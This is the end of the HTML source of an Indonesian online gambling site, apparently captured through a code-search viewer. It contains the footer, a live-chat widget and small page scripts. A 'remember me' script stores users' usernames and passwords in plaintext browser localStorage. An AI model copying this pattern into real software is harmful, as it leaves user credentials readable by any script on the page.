5951 5952 5953 5954 </div> 5955 5956 5957 <div class="footer-group"> 5958 <div class="copyright"> 5959 <div style="white-space: nowrap">© 2015 - 2026 Copyright HARUM4D.</div> 5960 <div>All Rights Reserved.</div> 5961 </div> 5962 <div class="desktop-only"> 5963 <div class="d-flex gap-1"> 5964 <div class="btn-footer" onclick='window.location.href="/?mobile"'>MOBILE</div> 5965 <div class="btn-footer" onclick='window.location.href="/wap"'>WAP</div> 5966 </div> 5967 </div> 5968 <img class="mobile-only" style="width: 100%" src="https://img.viva88athenae.com/assets/guidelines.png" alt=""> 5969 5970 <button class="btn btn-aduan2 ms-lg-auto py-1 px-2" style="border: 2px solid #b08432;" data-toggle="tooltip" data-placement="bottom" title="Aduan Pelanggan" onclick="javascript:window.open ('https://ares88access.com/?token=DJF3gQgl6LYWOA-tdZFxf5FSdIo3Gt6-leB6ViXTiU4.','mywindow','menubar=1,resizable=1,width=430 ,height=880');"> 5971 <i class="bi bi-shield-fill-exclamation"></i> 5972 <strong class="ms-1">LAPOR PUSAT</strong> 5973 </button> 5974 </div> 5975 </footer> 5976 5977 5978 5979 5980 5981 <!-- SIDENAV --> 5982 <div id="mySidenav" class="sidenav desktop-only"> 5983 <div id="nav"> 5984 <div style="display: flex; align-items: start;"> 5985 <div style="height: 246px; width: 64px; background: var(--primary-color); border-radius: 8px 0px 0px 8px; overflow: hidden; box-shadow: rgba(0, 0, 0, 0.35) 0px 5px 15px;"> 5986 5987 <img src="/assets/hubungi.png?11"> 5988 5989 </div> 5990 <!--<img id="about" src="/images/kontak.png?4">--> 5991 </div> 5992 <div class="ptsans" style="font-size: 1rem; background: white; border-radius: 0px 5px 5px 5px; overflow: hidden; width: 160px"> 5993 <div id="" style="padding: 4px"> 5994 <img src="/assets/24h.png" style="width: 100%"></img> 5995 </div> 5996 5997 <div id="kontak-content" style="display: flex; flex-direction: column; width: 100%; font-size: .8rem"> 5998 <div style="display: grid; place-items: center; font-weight: bold; font-size: 1rem">MEMBER SERVICE</div> 5999 6000 6001 6002 </div> 6003 <div style="margin: 8px"> 6004 <a href="/register"><input type="button" value="DAFTAR SEKARANG" style="width: 100%; border-radius: 5px; font-size: .875rem; height: 40px; border: none; font-weight: bold; background: black; color: white"></a> 6005 </div> 6006 </div> 6007 </div> 6008 </div> 6009 </div> 6010 6011 6012 <!--POP UP --> 6013 6014 <!-- LIVE CHAT --> 6015 <!-- Start of LiveChat (www.livechat.com) code -->
6016<script> 6017 window.__lc = window.__lc || {}; 6018 window.__lc.license = 12708882; 6019 window.__lc.integration_name = "manual_channels"; 6020 window.__lc.product_name = "livechat"; 6021 ;(function(n,t,c){function i(n){return e._h?e._h.apply(null,n):e._q.push(n)}var e={_q:[],_h:null,_v:"2.0",on:function(){i(["on",c.call(arguments)])},once:function(){i(["once",c.call(arguments)])},off:function(){i(["off",c.call(arguments)])},get:function(){if(!e._h)throw new Error("[LiveChatWidget] You can't use getters before load.");return i(["get",c.call(arguments)])},call:function(){i(["call",c.call(arguments)])},init:function(){var n=t.createElement("script");n.async=!0,n.type="text/javascript",n.src="https://cdn.livechatinc.com/tracking.js",t.head.appendChild(n)}};!n.__lc.asyncInit&&e.init(),n.LiveChatWidget=n.LiveChatWidget||e}(window,document,[].slice)) 6022</script>
6022 6023<noscript><a href="https://www.livechat.com/chat-with/12708882/" rel="nofollow">Chat with us</a>, powered by <a href="https://www.livechat.com/?welcome" rel="noopener nofollow" target="_blank">LiveChat</a></noscript> 6024<!-- End of LiveChat code --> 6025 6026 <!-- LiveChat Internal --> 6027 <style> 6028 /* Taruh widget livechat di belakang modal+backdrop selagi modal terbuka (mis. #promo) */ 6029 body.modal-open .cs-embed { z-index: 1049 !important; } 6030 </style> 6031 6032 6033
6033<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ENjdO4Dr2bkBIFxQpeoTz1HIcje39Wm4jDKdf19U8gI4ddQ3GYNS7NTKfAdVQSZe" crossorigin="anonymous"></script>
6033 6034
6034<script> 6035 document.addEventListener('DOMContentLoaded', function() { 6036 setTimeout(function() { 6037 const mobileForm = document.querySelector('#mobilelogin form') || 6038 document.querySelector('#mobilelogin .login-form') || 6039 document.querySelector('.mobile-only form'); 6040 6041 if (!mobileForm) { 6042 return; 6043 } 6044 6045 const username = mobileForm.querySelector('input[name="username"]'); 6046 const password = mobileForm.querySelector('input[name="password"]'); 6047 const remember = document.querySelector('#rememberMe') || 6048 document.querySelector('input[type="checkbox"]'); 6049 6050 if (!username || !password || !remember) { 6051 return; 6052 } 6053 6054 try { 6055 localStorage.setItem('test', 'working'); 6056 if (localStorage.getItem('test') === 'working') { 6057 localStorage.removeItem('test'); 6058 } else { 6059 return; 6060 } 6061 } catch(e) { 6062 return; 6063 } 6064 6065 initializeRememberMe(); 6066 loadSavedData(); 6067 6068 mobileForm.addEventListener('submit', handleSave); 6069 mobileForm.addEventListener('click', function(e) { 6070 if (e.target.type === 'submit' || e.target.classList.contains('submit')) { 6071 handleSave(); 6072 } 6073 }); 6074 remember.addEventListener('change', function() { 6075 if (!this.checked) { 6076 clearSavedData(); 6077 localStorage.setItem('mobile_remember_unchecked', 'true'); 6078 } else { 6079 localStorage.removeItem('mobile_remember_unchecked'); 6080 } 6081 }); 6082 6083 function initializeRememberMe() { 6084 try { 6085 const wasUnchecked = localStorage.getItem('mobile_remember_unchecked'); 6086 const hasSuccessfulLogin = localStorage.getItem('mobile_login_success'); 6087 if (wasUnchecked === 'true' && hasSuccessfulLogin === 'true') { 6088 remember.checked = false; 6089 } else { 6090 remember.checked = true; 6091 } 6092 } catch(e) { 6093 remember.checked = true; 6094 } 6095 } 6096 6097 function loadSavedData() { 6098 try { 6099 const savedUsername = localStorage.getItem('mobile_username'); 6100 const savedPassword = localStorage.getItem('mobile_password'); 6101 const rememberChecked = localStorage.getItem('mobile_remember'); 6102 if (rememberChecked === 'true' && savedUsername && savedPassword) { 6103 username.value = savedUsername; 6104 password.value = savedPassword; 6105 } 6106 } catch(e) { 6107 // console.log('Error loading data:', e); 6108 } 6109 } 6110 6111 function handleSave() { 6112 if (remember.checked) { 6113 const usernameVal = username.value.trim(); 6114 const passwordVal = password.value.trim(); 6115 6116 if (usernameVal && passwordVal) { 6117 try { 6118 localStorage.setItem('mobile_username', usernameVal); 6119 localStorage.setItem('mobile_password', passwordVal); 6120 localStorage.setItem('mobile_remember', 'true'); 6121 localStorage.setItem('mobile_login_success', 'true'); 6122 } catch(e) { 6123 // console.log('Error saving data:', e); 6124 } 6125 } 6126 } else { 6127 clearSavedData(); 6128 localStorage.setItem('mobile_login_success', 'true'); 6129 } 6130 } 6131 6132 function clearSavedData() { 6133 try { 6134 localStorage.removeItem('mobile_username'); 6135 localStorage.removeItem('mobile_password'); 6136 localStorage.removeItem('mobile_remember'); 6137 } catch(e) { 6138 // console.log('Error clearing data:', e); 6139 } 6140 } 6141 }, 100); // Wait 100ms 6142 6143 function initBroadcastMarquee() { 6144 $('.mobile-broadcast, #marquee .broadcast').each(function () { 6145 const el = $(this); 6146 6147 if ($.trim(el.text()) === '') return; 6148 if (!el.is(':visible')) return; 6149 6150 try { 6151 el.marquee('destroy'); 6152 } catch (e) {} 6153 6154 el.marquee({ 6155 speed: 30, 6156 gap: 80, 6157 delayBeforeStart: 0, 6158 direction: 'left', 6159 duplicated: true, 6160 pauseOnHover: true, 6161 startVisible: true 6162 }); 6163 }); 6164 } 6165 6166 $(window).on('load', function () { 6167 setTimeout(function () { 6168 initBroadcastMarquee(); 6169 }, 300); 6170 }); 6171 6172 $(window).on('resize orientationchange', function () { 6173 clearTimeout(window.broadcastResizeTimer); 6174 window.broadcastResizeTimer = setTimeout(function () { 6175 initBroadcastMarquee(); 6176 }, 400); 6177 }); 6178 6179 // document.querySelectorAll("marquee").forEach(function(marquee){ 6180 6181 // let speed = 0.5; // smaller = slower 6182 // let position = marquee.offsetWidth; 6183 6184 // function animate(){ 6185 // position--; 6186 6187 // if(position < -marquee.scrollWidth){ 6188 // position = marquee.offsetWidth; 6189 // } 6190
6191 // marquee.style.transform = "translateX(" + position + "px)"; 6192 // requestAnimationFrame(animate); 6193 // } 6194 6195 // animate(); 6196 6197 // // pause on hover 6198 // marquee.addEventListener("mouseenter", function(){ 6199 // speed = 0; 6200 // }); 6201 6202 // marquee.addEventListener("mouseleave", function(){ 6203 // speed = 0.5; 6204 // }); 6205 6206 // }); 6207 6208 6209 }); 6210 </script>
6210 6211 6212
6212<script> 6213 6214 var mobileurl = 'm/'; 6215 6216 6217 6218 var showIDs = []; 6219 6220 function showProducts(hoverID) { 6221 while(showIDs.length > 0) document.getElementById(showIDs.pop()).style.display = "none"; 6222 6223 // document.getElementById('hover').classList.add("hover-show"); 6224 document.getElementById('hover').style.transitionDelay = "0s"; 6225 document.getElementById('hover').style.visibility = "visible"; 6226 document.getElementById('hover').style.opacity = "1"; 6227 document.getElementById(hoverID).style.display = "flex"; 6228 6229 showIDs.push(hoverID); 6230 6231 } 6232 6233 function hideProducts(hoverID) { 6234 // document.getElementById('hover').classList.remove("hover-show"); 6235 document.getElementById('hover').style.visibility = "hidden"; 6236 document.getElementById('hover').style.opacity = "0"; 6237 document.getElementById('hover').style.transitionDelay = "1s"; 6238 6239 } 6240 6241 var mobileDaftarForm = document.getElementById('mobile-daftar-form'); 6242 var marquee = document.getElementById('marquee'); 6243 var mobileChangePasswordForm = document.getElementById('mobile-changepassword-form'); 6244 var mobileLoginBox = document.getElementById('mobilelogin'); 6245 6246 function closeContent() { 6247 $('#main-content').html(""); 6248 } 6249 6250 6251 function openDaftar() { 6252 closeContent(); 6253 6254 if (mobileLoginBox) mobileLoginBox.style.display = "none"; 6255 if (mobileChangePasswordForm) mobileChangePasswordForm.style.display = "none"; 6256 6257 mobileDaftarForm.style.display = "block"; 6258 mobileDaftarForm.scrollIntoView(); 6259 } 6260 6261 function closeDaftar() { 6262 mobileDaftarForm.style.display = "none"; 6263 marquee.scrollIntoView(); 6264 } 6265 6266 6267 function showProvider(type) { 6268 $('#main-content').html("<div style='padding: 24px'><img src=\"/images/loading.gif\" width=\"36px\"><div>"); 6269 $('#main-content').load("/new-showprovider.php?type=" + type); 6270 } 6271 6272 function toggleInformasi(item) { 6273 page(item); 6274 } 6275 6276 function showInformasi(item) { 6277 document.getElementById('modal-wrapper').style.display='block'; 6278 toggleInformasi(item); 6279 } 6280 6281 function openChangePasswordMobile() { 6282 closeContent(); 6283 6284 if (mobileLoginBox) mobileLoginBox.style.display = "none"; 6285 if (mobileDaftarForm) mobileDaftarForm.style.display = "none"; 6286 6287 if (mobileChangePasswordForm) { 6288 mobileChangePasswordForm.style.display = "block"; 6289 mobileChangePasswordForm.scrollIntoView(); 6290 } 6291 } 6292 6293 function closeChangePasswordMobile() { 6294 if (mobileChangePasswordForm) mobileChangePasswordForm.style.display = "none"; 6295 if (mobileDaftarForm) mobileDaftarForm.style.display = "none"; 6296 if (mobileLoginBox) mobileLoginBox.style.display = "block"; 6297 6298 marquee.scrollIntoView(); 6299 } 6300 6301 6302 6303 6304 </script>
6304 6305
6305<script src="/js/old/new2-webduo35.js?v=1790436651"></script>
6305 6306 6307
6307<script> 6308 function scrollToLoginForm(launchType, matchId) { 6309 sessionStorage.setItem('launch', launchType); 6310 if (matchId) sessionStorage.setItem('sbo_matchId', matchId); 6311 else sessionStorage.removeItem('sbo_matchId'); 6312 window.scrollTo({ top: 0, behavior: 'smooth' }); 6313 setTimeout(function() { 6314 var isMobile = window.innerWidth <= 1000; 6315 var loginSelector = isMobile 6316 ? '#mobilelogin input[name="username"]' 6317 : '#desktoplogin form'; 6318 var el = document.querySelector(loginSelector); 6319 if (!el) return; 6320 var usernameEl = document.querySelector(isMobile ? '#mobilelogin input[name="username"]' : '#desktoplogin input[name="username"]'); 6321 if (usernameEl && !isMobile) usernameEl.focus(); 6322 if (usernameEl && isMobile) usernameEl.scrollIntoView({ behavior: 'instant', block: 'center' }); 6323 const driver = window.driver.js.driver({ 6324 popoverClass: 'driverjs-theme', 6325 showProgress: false, 6326 showButtons: [], 6327 overlayOpacity: 0.3, 6328 steps: [ 6329 { 6330 element: loginSelector, 6331 popover: { 6332 title: 'Harap Login', 6333 description: 'Silakan masukkan username Anda', 6334 side: 'bottom', 6335 align: 'start', 6336 showButtons: [], 6337 nextBtnText: '', 6338 prevBtnText: '', 6339 doneBtnText: '' 6340 } 6341 } 6342 ], 6343 onDestroyStarted: () => driver.destroy(), 6344 }); 6345 driver.drive(); 6346 if (usernameEl) { 6347 function destroyDriver() { 6348 driver.destroy(); 6349 window.scrollTo({ top: 0 }); 6350 usernameEl.removeEventListener('input', destroyDriver); 6351 usernameEl.removeEventListener('click', destroyDriver); 6352 usernameEl.removeEventListener('focus', destroyDriver); 6353 } 6354 usernameEl.addEventListener('input', destroyDriver, { once: true }); 6355 usernameEl.addEventListener('click', destroyDriver, { once: true }); 6356 usernameEl.addEventListener('focus', destroyDriver, { once: true }); 6357 } 6358 }, 500); 6359 } 6360 </script>
6360 6361
6361<script> 6362 window.addEventListener("message", function(e) { 6363 if (e.origin !== "https://fkupon.com") return; 6364 if (e.data && e.data.action === "resize" && e.data.height) { 6365 var iframes = document.querySelectorAll(".iframe-kupon"); 6366 iframes.forEach(function(iframe) { 6367 iframe.style.height = Math.max(100, e.data.height - 16) + "px"; 6368 }); 6369 } 6370 }); 6371 </script>
6371 6372 6373 6374 <!-- POP UP COOKIES --> 6375 6376<style> 6377 6378 6379 .kebijakan-privasi, .kebijakan-cookies { 6380 color: white; 6381 text-decoration: underline; 6382 } 6383 6384 6385</style> 6386 6387 6388<div id="boxprivacy" style="position: fixed;left: 0;bottom: 0;width: 100%; background-color: #000; box-shadow:rgba(0,0,0,1) 0px 0px 10px 0px; opacity: 0.85; z-index: 2147483640; color: #d0c074"> 6389 <div style="margin:0px; padding: 15px; padding-right: 60px; border: 1px solid #999; font-size: 1rem"> 6390 <div> 6391 Kami menggunakan cookies untuk mengoptimalkan navigasi, fitur serta konten yang lebih Relevan. Untuk informasi lengkap tentang cookies silahkan lihat <a href="javascript:showInformasi('cookies')" class="kebijakan-cookies">Persetujuan Cookies</a>. Dengan menggunakan situs ini, Anda menyetujui penggunaan cookies serta data pribadi sesuai <a href="javascript:showInformasi('privasi')" class="kebijakan-privasi">Kebijakan Privasi</a>. </div> 6392 </div> 6393 <div> 6394 <div onclick="document.getElementById('boxprivacy').style.display='none'" class="closebox" title="Close Box" style="margin-right: 10px;">×</div> 6395 </div> 6396</div>
6397<script> 6398 $( "#boxprivacy" ).blur(function() { 6399 alert( "Handler for .blur() called." ); 6400}); 6401</script>
6401 6402 6403 6404
6404<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v4bc70e2c01a94c73b74392e4234840661791215815920" integrity="sha512-L0ha0OXavK/8okipN9F8BtP84dg9DUhPERbBXzwI6dgTA55d2+yweo3pn5CSFYs45/r8md2+xvUPtTdvTNRfjA==" data-cf-beacon='{"version":"2024.11.0","token":"28870ee054c84bb6a9fea943e50ff6c5","r":1,"spa":2}' crossorigin="anonymous"></script>
6404 6405</body> 6406</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.